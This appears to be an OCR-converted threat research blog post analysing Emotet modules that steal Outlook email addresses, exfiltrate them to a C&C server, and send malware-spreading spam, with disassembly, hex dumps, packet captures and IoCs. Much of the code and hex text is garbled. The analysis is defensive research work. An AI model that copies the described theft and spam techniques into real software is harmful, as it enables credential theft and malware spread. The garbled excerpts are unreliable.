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Background

This is the second part of FortiGuard Labs’ deep analysis of the new Emotet variant. In the first part of the
analysis we demonstrated that by bypassing the server-side Anti-Debug or Anti-Analysis technique we could
download three or four modules (.dll files) from the C&C server. In that first blog we only analyzed one module (I

named it ‘module2’). In this blog, we’ll review how the other modules work. Here we go.
Stealing email addresses from MS Outlook PST files

As I detailed in Part 1 of this blog, the first module we’re looking at here (I’ve named it ‘modulel’) is loaded in a
ThreadFunction, whose main function is to go through all Outlook accounts by reading the PST files. A PST file is
a personal folder file in Microsoft Outlook that stores your email messages, calendar, tasks, and other items. PST

files are usually located in the “Documents\Outlook Files” folder on your computer. See Figure 1.
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Figure 1. PST files

Microsoft has provided a group of APIs called MAPI (Microsoft Outlook Messaging API), which is the messaging
architecture for Microsoft Outlook. Using the MAPIs you can operate PST files. The MAPISs are used in the

modulel file.

Once modulel file is executed it creates a temporary file that is used to store the stolen Outlook version

information and email addresses that have been collected. Loading MAPI functions is the next step. Figure 2
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shows how, along with what it loads.

[-TexTt:10002ZA15 loc_1000ZA1% = T CUDE RHREF: SUD_TOOOZSIO+TBZ1 ]
'::::::gggg::z lea eax, [esp+7aBh+LibFileNMame ] value of DLLPathEx
—text:10002A1D e ooty i 1pLibFileHame
-tExt:13032923 call ds:-LoadLibraryWwW
N - mou edi, eax
-text=-10002A25 il e =
_text:10002A29 WL [espefsiinensn ] s ads
-text:10002A2R8 L e EOIl = S04
-text:100802Aa231 1=z loc_10802F96
text-10002ZA37 mow esi, ds:GetProcaddress o )
_text-10002A3C push l]Fi_:SE't ProcHame ; ""MAPIInitialize"
-text:z108062A3D push e i hHodule
_text-108082a3F call esli ; GetProchAddress ) )
.text:-10002a8M0 push oeffset aMapiadminprofi : “MAPIAadninProfiles®
-text:10002A45 push e . ;: hHModule
_rext:-10002Aa4A mow Hﬂ?llnltlallze. eax
_text-10002aLC call esi uetPr?cnddress
_text-18882a51 push offset aMapilogonex ; ""HAaPFILogonEx""
_text:10002A52 push edi ) __ & hModule
text-10002Aa57 [uTa1t] Hn?lndm1nPruFlles, eax
rexr-10002a59 call esi ; GEtPF?CﬂddFESS
:text;1aﬂﬂzn5E push uFfset aMapifreebuffer ;: “"MAFIFreeBuffer"
_text:10002A5F push s ; hHodule
_text:=10002A64 b MAPILogonEx, eax
-text:100802A66 Eall esl : SeLUPSORODFEsS .
rext:-10002A68 push offset aMapiuninitiali ;:; ""MAFIUninitialize"™"
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_text-10082a71 mow MH?IFreeBuFFer, eax
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Figure 2. Loading MAPI functions

It then starts reading all PST files according to the Outlook accounts on the computer, going through all email

messages with an unread status in every folder (Inbox, Deleted Items, Junk E-mail, Sent Items, etc.) under one

email account. It steals the sender name and the email address from each unread email. Figure 3 shows a sample

unread email about a Facebook notification that was sent to me.
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Figure 3. Sample unread email message

Figure 4 shows what modulel has stolen from the unread email message shown in Figure 3. “Facebook” is the

sender name, and “notification+krdyxeragnmn@facebookmail.com” is the sender’s email address.

15460000 | I |t . 1l&8ve
154600 61 68 ZE G6E 65 T4 3E 00 46 61 63 65 6Z 6F 6F 6B |ah. net>JFaceboock
1546001 3C BE 6F T4 69 66 69 63 61 74 69 6F BE 2B 6B T2 |[<notificationtkr
1546002 34 79 78 BS T2 61 67 6E 6D BE 40 66 61 63 65 62 ldyvweragnmm®faceb
1546004 6F BF 6B 6D 61 63 &C 2E 63 6F 6D 3E 00 8E &F 72 |lookmail. comi. nor
1240050 | Mttt | - 1 -0 . < 1
15 15 £ 0 1| | 1 =1 1 O
1546007 SE 00 30 33 |38 2D 70 74|71 2D 33 39|31 2E 30 ZE| >. 088—1ptq—391. 0.
154601 34 37 31 39 31 ZE 30 2FE 30 ZE 33 38 31 35 39 ZE | 4T191. 0. 0. 38159,
154600% 39 ZE 32 36 36 3B 33 34 40 65 6D ZD T3 6A 2D 37| 9. 266234d@em—s=J—T
1546004 37 ZE 6D 6B T4 6F &D 61 69 6C ZE 63 6F 6D 3C 30| 7.mktomall. com<0
154600EB0| 33 38 2D 70|74 71 2D 33|39 31 ZE 30| 2E 34 37 31 |38B-ptq—391.0.471
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1E54800F 6F 6D 3E 00 79 61 6FE | ktomail. com>. yvan
154600F 76 69 63 65 ZE 6E 65| xuanl@serwvice. ne
1546010074 65 61 T3 |6b ZE &3 6F | 6D 3C 79 &1 | 6FE T8 TE 61| tease. com<yanxzxua
15460110 |6E 31 40 73 65 72 76 69 63 65 ZE BE 65 T4 65 61 nl®service. netea
1546012073 65 2E 63 | 6F 6D 3E 00| 3F 3F 3F 3F 3F 3F 3C TE|se. com>. 929922<u
1546013073 85 T2 40 6E 65 74 65 61 73 65 ZE 63 6F 6D 3E | ser@netease. com>
15460140|00 62 6F 75 |6E €3 65 73| 2B 33 39 31 | 33 2D B6E 36 |. bounces+3913—e6
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| Start: 15460033 End: 15460033 Value 67617265

Figure 4. The stolen email information in the memory buffer

As I mentioned before, the stolen data is saved in a temporary file. In this case, it’s “AE74.tmp.” It will be read

when modulel prepares to encrypt and send the stolen information to its C&C server. Figure 5 shows the data

before encryption, which is read from “AE74.tmp.”
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3 OIWICE - -[[3C.P.U" - thread 00000C90]
File View Debug Plugins Options Window Help
B I M e o . K e =2

E& 00 rush 0
G& 04 push g
5T push edil
FF15 48002200 call dword ptr [2300482] kernel 32. MapViewlDfFile
294424 10 mo dword ptr [esp+10]. eax
85CC test eax, eax

20|. 74 BE ie short 00223180

Q000 (ASCII "Microsoft\Office’14. 0\Outl l_ll_ll'x”__ CR,LF, "+ I > [ accl

ASCT
s: [0Z2DEFTDO]=03B308DE

oo|4D 69 B3 T2 6F T3 6F 66 T4 5C 4F 66 66 69 63 65 | Microsoft \Office
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ODO1RO060 | 6F 6B 6D 61 69 &6C Z2E B3 6F 6D 3E 3B 6E EF 72 65| ockmall. com>nore
oo1EooTo | I | - 1 - < 1o
001 Eoozo | . | -~ 1 -
OO1EQ0OS0|3B 320 33 38|/2D 70 74 71 2D 33 39 31 | 2E 30 2ZE 34| ;038-—ptqg—391.0.4
OO1EOOAD |37 31 39 31| 2E 30 Z2E 30 2E 33 38 31|35 39 2E 39|7191.0. 0. 38159. 9
OO1EOOBO | ZE 32 36 36|38 33 34 40 65 6D 2D T3 | 6A 2D 37 37 |. 266834@em—s3—T7
OO1IEOOCO | ZE 6D 6B 74 6F 6D €1 69 6C 2E 63 6F 6D 3C 30 33 |.mktomail. com<03
001FE0O0ODO |38 2D 70 74|71 2D 33 3931 ZE 30 ZE|34 37 31 39|8-ptq—391.0.4719
OO1EQOEQ |31 Z2E 30 2E|30 2E 33 38 /31 35 39 ZE |39 ZE 32 36|1.0.0. 38159, 9. 26
OO1EOOFO |36 328 33 34 40 65 €D 2D 73 6A 2D 27 37 2E 6D 6B | 6E834@8em—sji-T7. mk
OO1EO1IO0| T4 EF 6D 61 69 6C Z2E 63 EF 6D 3E 2B 62 6F 75 6E|tomail. com’; boun
O01EOL O | . | o+ SOl 363 A
O01EOL 0 | | |
OO1E01Z20|6D 61 69 6C | 2E 66 6F 75 72 73 71 TS5 61 72 65 2E | mail. foursquare.
OD01E0140|63 6F 6D 3C 62 6F 75 6E 63 65 T3 ZB 33 39 31 33| com<bounces+3913
O01EO0LIE0|2D 65 36 33 64 2D 74 66 NN - TN -

=

OOlEOle0|B8l 68 2E BE 65 T4 40 65 6D Bl 69 BC ZE 66 6F 75| ah. net@®email. fou
OOIEOLTO|IT2 T3 71 75|61 T2 €5 ZF 63 6F 6D 3E 3B 62 BF 7L |rsquare. com>; bou
O01E0180|6E 63 65 ZD| 6D 63 ZE 75 73 32 BF 32|36 30 34 35| nce—-mc. usZ_Z6045

001E0190(|32 32 2E 31|38 31 33 37 32 39 2D 74 I -2. 1313729 -1
001E01 A0 | I | -
M1 M3 M3 Ma ME Command: | LI

| Start 1E0129 End:1E01 23 Value:656E ZE 68

Figure 5. Data before encryption

As you can see, it contains the Outlook version and stolen email information. Once encrypted, the data will be

sent to the C&C server through a “POST” request. Figure 6 is the packet screenshot from WireShark.
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M Wireshark - E " ost_email_addresses — [} X

/'ﬂJ—ST / HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 8.8; WindowX NT 5.1; SLCC1; .NET CLR 1.1.4322)
Host: 176.9.19.131:3080

N Content-Length: 5492

nection: Keep-Alive
Cac trol: no-cache

| B 7 P ) SR S e R T A e S N L | [ T, § [P = R T
Hecaasan Baaackosi B Waaiaana Ba€iviuan 0g...CBYNE... . #T[...... i ST ¢ O PR X T] e Ay.B

..... L SR R P T T R o T TR o T L PR . |
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Veocdaas
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|Entire conversation (5858 bytes) = Show data as | ASCII e Stream
Find:

Hide this stream Print Save as._. Close Help

Figure 6. Sending the encrypted data to the C&C server
Sending spam using the C&C server template

This is the largest Emotet module (I have named it ‘module4’) of the malware’s four modules. Its main function is
to send spam to the email addresses which were stolen and sent to the C&C server. When it is executed in a thread
it generates a GUID by calling the CoCreateGuid function. It then base64-encodes the GUID and sends it as a

cookie to the C&C server. The response provides the encrypted spam message, as well as the email addresses that

the spam will be sent to. The two figures below show the packet from the C&C server, as well as the content after
decryption.
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M Wireshark . Follow TCP Stream (tcp.stream eq 37) . with_smitp - O >
GET / HTTR/1.] i
Cooki =k TQH3F220INNCwQKELFhUgD3m178ILglYBkZWe RGEvk1xhwyz9Z

pRUkgxoSXLTFTKAgml LafEdrotPdefg3P lwPAzugDshErPATwpS9
cx1IRpIXjVhecgwlGE3+VDVpymu+DiWBz Xy Tt+ZiNcaX,/ z61iq79+YXK
ent: Morilla/5.8 (compatible; MSIE 8.8; Windows
Host: 747 B8 : 8886
Connection: Keep-
Cache-Control: no-cache

EN+pgAChONBpGIvESSVIWZxBiz¥b4oTNL
3xy4muEtNzDw=
5.1; SLCC1; .MET CLR 1.1.4322)

Base64 encoded GUID

HTTP/1.1 484 Not Found

Server: nginx

Date: Fri, o5 May 2817 15:86:84 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2772

Connection: keep-alive Response with email addresses from server
. I SUUET L S SV e . 5CE. .

ST s [ |- PR wvhw# PEGC. N o R~ (---F-K....t_._ GODI . T#. .

FP<€eee o -Foo )9 48 5y 0. I o _ K..... Fi_o y<@ M-J0.. ). L=C...b.P. M. r k.. ]2 .. Z.

--i. *..}.)j S.g..b6o.>.9

i S = -R1&..... ho-..8.u.zl..m

Youlof..B.B.wha....ql. .U .~ T ......

-N.XQ#{E.p2..... e.Mb. ... =

. SRR A e A o e e R i e L o £ 2 T B il e mtars

Lol ania s PecGanfvm. g - o] I SN W sy e ey B2y

o [ e PN C o Ctre o DO AN el e Bel"snadacuna Lode s e e g alis o s e [ 0 e L R .}

+ F o 3 XF EN 53 rl S 7 a L b
Packer 4672, 1 chent phisl 3 server phasl I am, Slick o select.

Entire conversation (3353 bytes) = Show data as | ASCII = Stream |37 =

Figure 7. Sent GUID and response from the C&C server

% CIMICE - LatnParams.exe - [C.P.U" - thread OOO0OOFOZ]
=] File vView Debug Pluging Options Windew Help

Paused | (8] @0]0] 0] ma]at] R[0E] ] eef] oo e ] ] e ] e

QOZ1EDFES FFT0O 08 push dword ptr [eawx+2]

QI1EDFEC FFlE SEEDZI0O3 eall dwrord ptr [323E088] advapl 32, CrvptDecrvpt
85C0 test eax. eax

QZ1EDFF4|. T4 22 je short Q031EEQ1E8

eax=00000001

W 7. << Friend. na
1:'3nc>>I!Cus1: GL &

nt includes info

rmation that wou 03

requested. . . <bx 03

. Arttachments: < 03

br><a href="http 03

1S wlrents. com/C 03

UST. —Document —YD 03

I-04-GQ389557 /"> 03

2EC http: ./ /wlrents. < 03
00ZF 33FC om/CUST. —Documen 03
O0Z2F 3400 t—YDI-04-CL32955 03
: S<<to. name > >< a 03

OO2F 3420 <br><br>. . Tha 03
03

03

style="text—tra 03

nsform:uppercase 03

QOZF3 i “r»<<friend. name> 03
QOOZF 3480 ><br><<friend. em [ 03
O0ZF 3490 ail>></span>.. <b 03
ODZF S4 A0 r><br>. . </body>. 03
COZFZ4B0 |04 3C 2F 68|74 6D 6C 3E 32 00 12 BC | 0A 75 08 CE .-"{réhtml,‘-’Z.I‘?uE 03

Figure 8. Decrypted spam template and email addresses
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Once module4 receives the decrypted data, it reads out the spam template and the email addresses the spam

message is being sent to. In module4, it supports SMTP protocol over both port 25 (regular) and port 587 (SSL).

The figures below show how it uses the SMTP protocol to spread this spam, and what the spam looks like in an

email client.

db "Content-T ransi—er—l—.ncuding -
db @Dh,@Ah, 8

test al, H
iz loc 38B1FuB7
push BGh
push offset aAuthPlain ; "AUTH PLATHYwrYR""
lea eax, [ebp+uvar_ 2EC]
push ADEh
push ea
call sn mou ecx, ofFfset aHelo ; “"HELO'™
mow ec test hyte ptr [ehx+&8], 1
add es push eax
test ec mou eax, offset aEhlo ; “EHLOD"
j=z sh CMOouE eax, ecx
push ea push eax
lea ea push offset aS108_0_8_U : “%s I8 0.0 .ZuNrwn
push ea lea eax, [ebp+uvar_3F8]
push ec push 3DEN IRTign L
call su push eax db *To: $.%s' ,00h,0Ah,0 : DATA XREF: sub 381F650+395To
add €s align 18h
jmp shury awe_ssirsen db "Subject: %.xs’,0Dh,0ANh,0 ; DATA XREF: sub_381F6508+3DFTo
i ) o db *MIME-Version:z 1.0° ,080h,0Ah ; DATA XREF: sub_381F650+49070
db ‘Content-Type: multipart/mixed; boundary=""%s"",68D0h, 000,08
: CODElqyign &
push 9 db @Dh,BAh DATA XREF: sub_ 381F650+4DCTo
push eax sub_381F650+63870
lea eax, [ebp+uvar_3IEC] db "—-%s' ,60h,Bah,8
push ax y align 1en
push duword ptr [esi] db ‘Content-Type: %_=s'_0Dh,B@Ah
call gs:send ; DATA XREF: sub_381F650+52970

baseb6h® ,BDh, BAh

align &4

db 9Dh, 00N, 8 : DATA XREF: sub_281F280+FBTo
; sub_3B1F38A+1EFTo _._._

align 18h

db @Dh, 8RN : DATA XREF: sub_381F650+6ADTo

dh "——%s-—-'.8

Figure 9. Related code and data generating SMTP packets
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M Wireshark - Follow TCP Stream (tcp.stream eq 72) - with_smitp - O x
AUTH PLAIN "
334

AﬁZlc3Ni‘r’Hxsd29jEEUAhG@EWSHWk=
235 2.7.8 Authentication successful
MAIL FROM: <>

E(PT TO: <maxime.crim@chicagorivet.com> | Receiver email address

DATA
354 End data with <CR><LF>.<CR><LF>

Date: Mon, @1 May 2617 11:48:11 -8868

From:

Message-TID: <148366858452.201751184811f@chicagorivet. com>
To: maxime.crim@chicagorivet.com

Subject: =?UTF-B8?B?T1JERVIUIFICICYgMTctWDEXNDIBOCA=?=
MIME-Version: 1.8
Content-Type: multipar

QF22F41407442C78343468F36D3C731"

NzcBMzkvIj Nzc3MTc3NDMSLzwwYTAN
Cixicj48YnI+l ABc3BhbiBzdHlsZTeidovV4
dC18cmFuc2Zvemdesd GJyPjxiciaNCiwvYmokeTANC jwy

aHRtbD4=
--EBF22E414C7442(78343468F36D3C731 - - Spamn content in Baseb4

259 2.0.8 Ok: queued as 76EA248222
MAIL FROM: <> LY

Packet 5544, 87 chent pke(sl 88 sorver plgfsl 134 rums, Olick fo soleet.

Figure 10. Spam shown in Wireshark

Hello MAXIME DELORME

Please see attached.
Attachments:
http:/hand—ip. com/Cust—Document—5777177T439/Maxzime DELORME

Thanks for your business!

Figure 11. Spam shown in email client

As you can see in Figure 11, the spam attempts to trick the email recipients into opening a URL, that points to a

malicious Word file. Figure 12 shows its Antivirus detection rating on VirusTotal.
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A total

SHA256 dBcfe351daas2T6a2TTE64630f 18fa1e61351cbi3bla1ThEaBefT 25263c0cabd
File name ORDER -Document-MP-65-NV575397 . doc :q:
: @6 ©0

Analysis date 2017-05-05 21:59:03 UTC { 1 minute ago )

w

Detection ratio: 9/

B2 Analysis @ File detail X Relationships © Additional infermation ® Comments o L) Votes

Antivirus Result Update
Arcabit HEUR VBA. Trojan.e 20170505
ESET-NOD32 PowerShell/ TrojanDownloader Agent. OF 20170505
Fortinat WrAgent. DEAtr didr 20170505
MeAfee WITM/ Downloader by| 20170505
MeAfee-GW-E dition WITM/Downloader byj 20170505
MANO-Antivirus Trojan. Ole2. Vbs-heuristic druvzi 20170505
Qihoo-360 virus_office. gexvmc. 1080 20170505
TrendMicro-HouseCall Suspiclous_GEM.F47W0505 20170505
ZoneAlarm by Check Point HEUR Trojan. Script. Agent. gen 20170505
Ad-Aware @ 20170505
AegisLab o 20170505
AhnlLab-V3 ] 20170505

Figure 12. Antivirus detection rate on VirusTotal

Conclusion

From this deep analysis of the new Emotet variant we can see that it focuses on stealing email-related data from a
victim’s device, and then uses that device and the email addresses it has collected from it to send spam that can

spread other malware.

NOTE: at the end of my analysis, I noticed that the Anti-Debug technique on the server side sometimes worked,

and sometimes didn’t.

The URL attached to the spam generated by this malware has been detected as Malicious Websites by the
FortiGuard Webfilter service, and the downloaded Word file has been detected as WM/Agent. DEA!tr.dldr by the

FortiGuard Antivirus service.

Summary of the four Received Modules

Modulel (size 1c000H): steals email addresses and the recipients’ names from Outlook PST files.
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Module2 (size 32000h): steals credentials from installed Office Outlook, IncrediMail, Group Mail, MSN

Messenger, Mozilla ThunderBird, etc. The analysis of this module was provided in the first blog.

Module3 (size 70000h): steals saved information in browsers. Since it’s simple, I chose to not provide any

analysis.

Module4 (size 0F0000h): sends spams to spread other malware.

IoC

URL:

"hxxp:// hand-ip.com/Cust-Document-5777177439/"
Sample SHA256:
ORDER.-Document-7023299286.doc

D8CFE351DAAS276A277664630F18FE1E61351CBF3B0A17B6A8EF725263C0CAB4

Reference

https://support.office.com/en-us/article/Introduction-to-Outlook-Data-Files-pst-and-ost-6d4197ec-1304-4b81-
al17d-66d4eef30b78

https://support.microsoft.com/en-us/help/287070/how-to-manage-.pst-files-in-microsoft-outlook

https://msdn.microsoft.com/en-us/library/office/cc765775(v=office.14).aspx

Source: https://www.fortinet.com/blog/threat-research/deep-analysis-of-new-emotet-variant-part-2.html
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